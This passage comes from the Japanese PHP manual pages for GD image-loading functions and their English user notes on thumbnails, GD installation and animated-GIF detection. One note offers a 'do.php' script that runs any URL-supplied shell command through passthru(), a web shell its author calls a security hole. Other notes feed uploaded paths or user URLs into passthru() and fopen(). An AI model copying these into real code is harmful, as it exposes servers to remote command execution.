    }
    $Y--;
    $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
05-Jan-2005 01:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
    //calculate thumb size
            $ow = imagesx($im);
            $oh = imagesy($im);
            $maxh = 100;
            $maxw = 150;
            $new_h = $oh;
            $new_w = $ow;

            if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
            }

            //create dst image
            $dst_img = ImageCreateTrueColor($new_w,$new_h);
            //resize and copy image
            ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
            $function_image_new($dst_img,$galdir.$file);
?>
cstevens at gencom dot us 20-Apr-2004 04:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
    # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

    /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net 12-Apr-2004 04:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com 03-Dec-2003 11:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz 21-Oct-2003 08:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com 29-Aug-2002 02:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com 17-May-2002 10:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de 08-Feb-2002 08:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee 08-Jul-2001 09:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net 06-Jul-2001 05:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net 19-Apr-2001 04:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr 08-Feb-2001 03:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org 14-Dec-2000 04:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreate
  • imagecreatefromgd2 ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefrombmp

(PHP 7 >= 7.2.0, PHP 8)

imagecreatefrombmp — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefrombmp ( string $filename ) : resource

imagecreatefrombmp() は、指定したファイル名から 得られたイメージを表すイメージ ID を返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

BMP 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefrombmp() を使用した BMP 画像から PNG 画像への変換

<?php
// BMP ファイルを読み込み
$im = imagecreatefrombmp('./example.bmp');

// デフォルト設定で PNG ファイルへ変換
imagepng($im, './example.png');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


GD2 ファイルまたは URL から新規イメージを生成する

  • ≪ imagecreatefrombmp
  • imagecreatefromgd2part ≫
  • PHP Manual
  • GD および Image 関数
  • GD2 ファイルまたは URL から新規イメージを生成する

imagecreatefromgd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2 — GD2 ファイルまたは URL から新規イメージを生成する

説明

imagecreatefromgd2 ( string $filename ) : resource

GD2 ファイルまたは URL から新規イメージを生成します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

GD2 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefromgd2() の例

<?php
// gd2 画像を読み込みます
$im = imagecreatefromgd2('./test.gd2');

// 画像にエフェクトを施します。ここでは、
// 画像の打ち消しを行います
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_NEGATE);
}

// 画像を保存します
imagegd2($im, './test_updated.gd2');
imagedestroy($im);
?>

注意

警告

GD と GD2 画像フォーマットは libgd のプロプライエタリな画像フォーマットです。これらは obsolete と見なされているため、開発とテストの用途にだけ使うべきです。

User Contributed Notes

There are no user contributed notes for this page.


GD2 ファイルまたは URL の指定した部分から新規イメージを生成する

  • ≪ imagecreatefromgd2
  • imagecreatefromgd ≫
  • PHP Manual
  • GD および Image 関数
  • GD2 ファイルまたは URL の指定した部分から新規イメージを生成する

imagecreatefromgd2part

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2part — GD2 ファイルまたは URL の指定した部分から新規イメージを生成する

説明

imagecreatefromgd2part ( string $filename , int $srcX , int $srcY , int $width , int $height ) : resource

GD2 ファイルまたは URL の指定した部分から新規イメージを生成します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

GD2 画像へのパス。

srcX

作成元の x 座標。

srcY

作成元の y 座標。

width

コピー元の幅。

height

コピー元の高さ。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefromgd2part() の例

<?php
// この例では、まず画像のサイズが必要となります
$image = getimagesize('./test.gd2');

// 画像のサイズを取得し、
// 画像のインスタンスを作成します
$im = imagecreatefromgd2part('./test.gd2', 4, 4, ($image[0] / 2) - 6, ($image[1] / 2) - 6);

// 画像処理をします。
// ここでは、エンボス処理を行っています
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_EMBOSS);
}

// 最適化した画像を保存します
imagegd2($im, './test_emboss.gd2');
imagedestroy($im);
?>

注意

警告

GD と GD2 画像フォーマットは libgd のプロプライエタリな画像フォーマットです。これらは obsolete と見なされているため、開発とテストの用途にだけ使うべきです。

User Contributed Notes

There are no user contributed notes for this page.


GD ファイルまたは URL から新規イメージを生成する

  • ≪ imagecreatefromgd2part
  • imagecreatefromgif ≫
  • PHP Manual
  • GD および Image 関数
  • GD ファイルまたは URL から新規イメージを生成する

imagecreatefromgd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd — GD ファイルまたは URL から新規イメージを生成する

説明

imagecreatefromgd ( string $filename ) : resource

GD ファイルまたは URL から新規イメージを生成します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefromgd() の例

<?php
// gd 画像を読み込みます
$im = @imagecreatefromgd('./test.gd');

// 画像が読み込まれているかどうかを調べます
if(!is_resource($im))
{
     die('gd 画像を読み込めません!');
}

// ここで画像処理をします

// 画像を保存します
imagegd($im, './test_updated.gd');
imagedestroy($im);
?>

注意

警告

GD と GD2 画像フォーマットは libgd のプロプライエタリな画像フォーマットです。これらは obsolete と見なされているため、開発とテストの用途にだけ使うべきです。

User Contributed Notes

There are no user contributed notes for this page.


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromgd
  • imagecreatefromjpeg ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromgif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromgif — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromgif ( string $filename ) : resource

imagecreatefromgif() は、 指定したファイル名の画像を表す画像 ID を返します。

警告

GIF ファイルをメモリに取り込む際、最初のフレームだけが 画像リソースポインタで返されます。getimagesize() で報告される画像サイズは必ずしも必要ではありません。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

GIF 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 GIF の作成時のエラーを処理する例

<?php
function LoadGif($imgname)
{
    /* オープンします */
    $im = @imagecreatefromgif($imgname);

    /* 失敗したかどうかを調べます */
    if(!$im)
    {
        /* 空の画像を作成します */
        $im = imagecreatetruecolor (150, 30);
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc = imagecolorallocate ($im, 0, 0, 0);

        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

        /* エラーメッセージを出力します */
        imagestring ($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/gif');

$img = LoadGif('bogus.image');

imagegif($img);
imagedestroy($img);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : GIF の作成時のエラーを処理する例

注意

注意:

GIF サポートは GD ライブラリのバーション 1.6 以降で削除され、 バージョン 2.0.28 で復活しました。 その間のバージョンでは、この関数を使用できません。

User Contributed Notes

simon at shortpixel dot com 20-Dec-2017 01:38
A fix for the problem of the current is_ani function is to add the last 20b of the previous frame to the next one:

<?php
function is_ani($filename) {
  if(!($fh = @fopen($filename, 'rb')))
    return false;
  $count = 0;
  //an animated gif contains multiple "frames", with each frame having a
  //header made up of:
  // * a static 4-byte sequence (\x00\x21\xF9\x04)
  // * 4 variable bytes
  // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

  // We read through the file til we reach the end of the file, or we've found
  // at least 2 frame headers
  $chunk = false;
  while(!feof($fh) && $count < 2) {
    //add the last 20 characters from the previous string, to make sure the searched pattern is not split.
    $chunk = ($chunk ? substr($chunk, -20) : "") . fread($fh, 1024 * 100); //read 100kb at a time
    $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
  }

  fclose($fh);
  return $count > 1;
}
?>
hdogan at gmail dot com 12-Feb-2017 06:35
Just realised that some of the animated GIFs do not contain GCE (graphic control extension). Here is the refactored is_ani() function:

<?php
/**
 * Detects animated GIF from given file pointer resource or filename.
 *
 * @param resource|string $file File pointer resource or filename
 * @return bool
 */
function is_animated_gif($file)
{
    $fp = null;

    if (is_string($file)) {
        $fp = fopen($file, "rb");
    } else {
        $fp = $file;

        /* Make sure that we are at the beginning of the file */
        fseek($fp, 0);
    }

    if (fread($fp, 3) !== "GIF") {
        fclose($fp);

        return false;
    }

    $frames = 0;

    while (!feof($fp) && $frames < 2) {
        if (fread($fp, 1) === "\x00") {
            /* Some of the animated GIFs do not contain graphic control extension (starts with 21 f9) */
            if (fread($fp, 1) === "\x21" || fread($fp, 2) === "\x21\xf9") {
                $frames++;
            }
        }
    }

    fclose($fp);

    return $frames > 1;
}
marianbucur17 at yahoo dot com 07-Jul-2016 02:13
I hate created an improved version of frank at huddler dot com's is_ani function, which keeps score even between hunks. Hope this helps!

/**
 * Check if the provided file is an animated gif.
 *
 * @param string $fileName
 * @return bool
 */
function isAnimatedGif($fileName)
{
    $fh = fopen($fileName, 'rb');

    if (!$fh) {
        return false;
    }

    $totalCount = 0;
    $chunk = '';

    // An animated gif contains multiple "frames", with each frame having a header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file until we reach the end of it, or we've found at least 2 frame headers.
    while (!feof($fh) && $totalCount < 2) {
        // Read 100kb at a time and append it to the remaining chunk.
        $chunk .= fread($fh, 1024 * 100);
        $count = preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
        $totalCount += $count;

        // Execute this block only if we found at least one match,
        // and if we did not reach the maximum number of matches needed.
        if ($count > 0 && $totalCount < 2) {
            // Get the last full expression match.
            $lastMatch = end($matches[0]);
            // Get the string after the last match.
            $end = strrpos($chunk, $lastMatch) + strlen($lastMatch);
            $chunk = substr($chunk, $end);
        }
    }

    fclose($fh);

    return $totalCount > 1;
}
Anonymous 06-Sep-2013 08:27
Using the following script to generate(keep) animated GIF, it fixs GD lib animation problem.
http://www.gdenhancer.com/
ZeBadger 18-Apr-2013 09:17
The version of is_ani that reads the file in 100Kb chunks is flawed as the end of frame marker might be split in between 2 chunks - so be careful.
frank at huddler dot com 16-Jun-2011 12:25
An updated is_ani based on issues reported here and elsewhere

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2) {
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
   }

    fclose($fh);
    return $count > 1;
}
?>
Malcolm Murphy 14-Mar-2011 12:59
Hopefully this might save someone a headache when using functions to check for animated GIFs.

I have come across some some GIFs use the a different frame separator sequence, \x00\x21, instead of the official standard \x00\x2C. This seems to be happening with animated GIFs saved in Photoshop CS5, although I'm not quite sure if that's where the issue is originating from.

Anyway, I've been using the pattern:
"#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s"
which seems to cover all GIFs, hopefully without misinterpreting.

Cheers.
moxley at moxleydata dot com 09-Oct-2006 05:40
I wanted to find out if a GIF is Black & White or Color, but I didn't want to wait around for imagecreatefromgif() to parse a 200k file (about 1 second) to get the color map, so I wrote this function to get a list of all the colors in the GIF. Hope it is useful for you.

<?php
function getGIFColorMap($file)
{
   $fp = fopen($file, 'r');
   $buf = fread($fp, 1024);
   fclose($fp);

   // Calculate number of colors
   // buf[10] is the color info byte
   $color_byte = ord($buf[10]);
   $has_color_map = ($color_byte >> 7) & 1;
   $color_res = (($color_byte >> 4) & 7) + 1;
   $bits_per_pixel = ($color_byte & 7) + 1;
   $color_count = 1 << $bits_per_pixel;

   if (!$has_color_map) return null;

   // buf[13] is the beginning of the color map
   $color_map_index = 13;
   $map = array();
   for ($i=0; $i < $color_count; $i++) {
       $index = $color_map_index + $i*3;
       $r = ord($buf[$index]);
       $g = ord($buf[$index + 1]);
       $b = ord($buf[$index + 2]);
       $map[$i] = array($r, $g, $b);
   }
   return $map;
}
?>
ZeBadger 15-Dec-2005 09:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
        $filecontents=file_get_contents($filename);

        $str_loc=0;
        $count=0;
        while ($count < 2) # There is no point in continuing after we find a 2nd frame
        {

                $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
                if ($where1 === FALSE)
                {
                        break;
                }
                else
                {
                        $str_loc=$where1+1;
                        $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                        if ($where2 === FALSE)
                        {
                                break;
                        }
                        else
                        {
                                if ($where1+8 == $where2)
                                {
                                        $count++;
                                }
                                $str_loc=$where2+1;
                        }
                }
        }

        if ($count > 1)
        {
                return(true);

        }
        else
        {
                return(false);
        }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
        if (is_ani($thisfile))
        {
                echo "$thisfile is animated<BR>\n";
        }
        else
        {
                echo "$thisfile is NOT animated<BR>\n";
        }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de 25-Oct-2005 12:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz 06-Apr-2004 02:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net 07-Oct-2003 08:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 04:26
function LoadGif ($imgname) {
    $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
    if (!$im) { /* See if it failed */
        $im = ImageCreate (150, 30); /* Create a blank image */
        $bgc = ImageColorAllocate ($im, 255, 255, 255);
        $tc  = ImageColorAllocate ($im, 0, 0, 0);
        ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
18-Apr-2003 09:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org 27-Feb-2003 07:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com 13-Feb-2003 07:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
    // GIF file successfully opened
    if(gif_outputAsPNG($gif, "./test.png")) {
        // Now, just use ImageCreateFromPng...
        $img = ImageCreateFromPng("./test.png");

        if($img) {
            header("Content-Type: image/jpeg");
            ImageJPEG($img);
            ImageDestroy($img);
        }
        else {
            // Could NOT open PNG
        }
    }
    else {
        // Could NOT convert GIF to PNG...
    }
}
else {
    // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro 11-Jan-2003 11:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com 14-Nov-2002 06:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es 09-May-2002 10:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
anthony dot atkins at vt dot edu 16-May-2000 06:05
<?php

function myImageCreateFromGif($file_or_url) {

        $dummy_file = "/tmp/dummy.gif";

        # if this is a url, use fopen to get the file data, then
        # save it to a dummy file
        if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
                # open the file using fopen, which supports remote URLs
                $input = fopen($file_or_url, "rb");

                # read the contents of the file
                # will accept files up to 10Mb, but will probably get
                # and EOF before that, we have to do it this way because
                # filesize isn't designed to work with URLs.  sigh.
                $image_data = fread($input, 10000000);

                fclose($input);

                # write the contents to a dummy file
                $output = fopen("$dummy_file", "wb");
                fwrite($output, $image_data);
                fclose($output);

                # create the gif from the dummy file
                $image = ImageCreateFromGif($dummy_file);

                # get rid of the dummy file
                unlink($dummy_file);

        }

        # if it's not a URL, we can simply open the image directly
        else {
                $image = ImageCreateFromGif($file_or_url);
        }

        if ($image) { return $image; }
        else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
        print "<p>No Image data was returned...</p>\n";
}
else {
        header("Content-Type: image/gif\n\n");
        ImageGif($image);
}

?>


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromgif
  • imagecreatefrompng ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromjpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromjpeg — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromjpeg ( string $filename ) : resource

imagecreatefromjpeg() は引数 filename から得られる画像を表すイメージIDを返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

JPEG 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 JPEG の作成時のエラーを処理する例

<?php
function LoadJpeg($imgname)
{
    /* オープンします */
    $im = @imagecreatefromjpeg($imgname);

    /* 失敗したかどうかを調べます */
    if(!$im)
    {
        /* 空の画像を作成します */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* エラーメッセージを出力します */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/jpeg');

$img = LoadJpeg('bogus.image');

imagejpeg($img);
imagedestroy($img);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : JPEG の作成時のエラーを処理する例

User Contributed Notes

sagarsdeshmukh91 at gmail dot com 01-Feb-2017 03:50
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'image.jpg' is not a valid JPEG file

This only happens with certain images, which when opened in any program are ok, it even uploads to the version of the site I have on localhost with no problems,

To fix try below code snippet-

<?php
...
$image = @ImageCreateFromJpeg($image_name);
if (!$image)
{
    $image= imagecreatefromstring(file_get_contents($image_name));
}
...
?>
reorganisation at evo-german dot com 07-Jun-2016 11:19
Had to fight with this error message:

imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error

and found, that some picture tools like GIMP are adding EXIF-Informantions about changes.
Those pictures are running in the above problem.

Using an easy picture tool like Windows Paint - save the image new - and imagecreatefromjpeg worked for me.
jan at recreatie-zorg dot nl 05-Aug-2013 10:20
This function does not honour EXIF orientation data.  Pictures that are rotated using EXIF, will show up in the original orientation after being handled by imagecreatefromjpeg().  Below is a function to create an image from JPEG while honouring EXIF orientation data.

<?php
    function imagecreatefromjpegexif($filename)
    {
        $img = imagecreatefromjpeg($filename);
        $exif = exif_read_data($filename);
        if ($img && $exif && isset($exif['Orientation']))
        {
            $ort = $exif['Orientation'];

            if ($ort == 6 || $ort == 5)
                $img = imagerotate($img, 270, null);
            if ($ort == 3 || $ort == 4)
                $img = imagerotate($img, 180, null);
            if ($ort == 8 || $ort == 7)
                $img = imagerotate($img, 90, null);

            if ($ort == 5 || $ort == 4 || $ort == 7)
                imageflip($img, IMG_FLIP_HORIZONTAL);
        }
        return $img;
    }
?>
matt dot squirrell dot php at hsmx dot com 05-Nov-2012 01:28
This little function allows you to create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath) {
    $type = exif_imagetype($filepath); // [] if you don't have exif you could use getImageSize()
    $allowedTypes = array(
        1,  // [] gif
        2,  // [] jpg
        3,  // [] png
        6   // [] bmp
    );
    if (!in_array($type, $allowedTypes)) {
        return false;
    }
    switch ($type) {
        case 1 :
            $im = imageCreateFromGif($filepath);
        break;
        case 2 :
            $im = imageCreateFromJpeg($filepath);
        break;
        case 3 :
            $im = imageCreateFromPng($filepath);
        break;
        case 6 :
            $im = imageCreateFromBmp($filepath);
        break;
    }
    return $im;
}
?>
pavel.lint at vk.com 04-May-2012 09:31
I was experiencing troubles with imagecreatefromjpeg() as it outputted errors even when called with @ in front. ini_set("gd.jpeg_ignore_warning", 1) didnt work for me, so I came up with another simple solution.

The problem is caused by gd error output, so by redirecting STDERR to /dev/null all the error messages in it are supressed and you can still use regular STDOUT for your error output.

So, just use
<?
fclose( STDERR );
$STDERR = fopen( "/dev/null", "wb" );
?>
Jrn Berkefeld 26-Apr-2011 11:08
I encountered a very strange behaviour:
The background:
Each time users uploaded images, the original file was stored along with a thumbnail and a medium sized version for small-sized slideshows.
that means that on upload all of these original images were acknowledged by php as valid jpg

The change:
I created a new slideshow script that featured full-screen display. My old "medium-sized" version were only about 600px wide which caused them to luck all ugly after stretching that to modern screen sizes.
--> I created a small script that opens all original images and saves bigger "medium-sized" versions than the once I had.

the problem:
for some reason about 1/3 of all images (not the last third but always the same images) were now labeled as "... is not a valid JPEG file ..." by php

the cause:
still unknown

the solution:
<?php
...
$src_img = @imagecreatefromjpeg($myJPGfile_relative);
if (!$src_img) {
    $src_img = LoadJPEG("http://example.com/".$myJPGfile);
}
?>

Each time the local approach fails the script falls back to loading the same file "from the outside" via the below mentioned "LoadJPEG" script - big thanks to the author!
That worked even though I'm talking about the exact same file on the exact same server. The only difference is that one time it's accessed locally and the second via port 80.

when using this, watch for correct paths relative to your script and the possibly different path relative to your domain.
juozaspo at gmail dot com 19-Oct-2010 02:58
There is my actual script to resize image without distortion to generate a thumbnail and/or show a smaller to browser.

<?php
// usual header used on my all pages
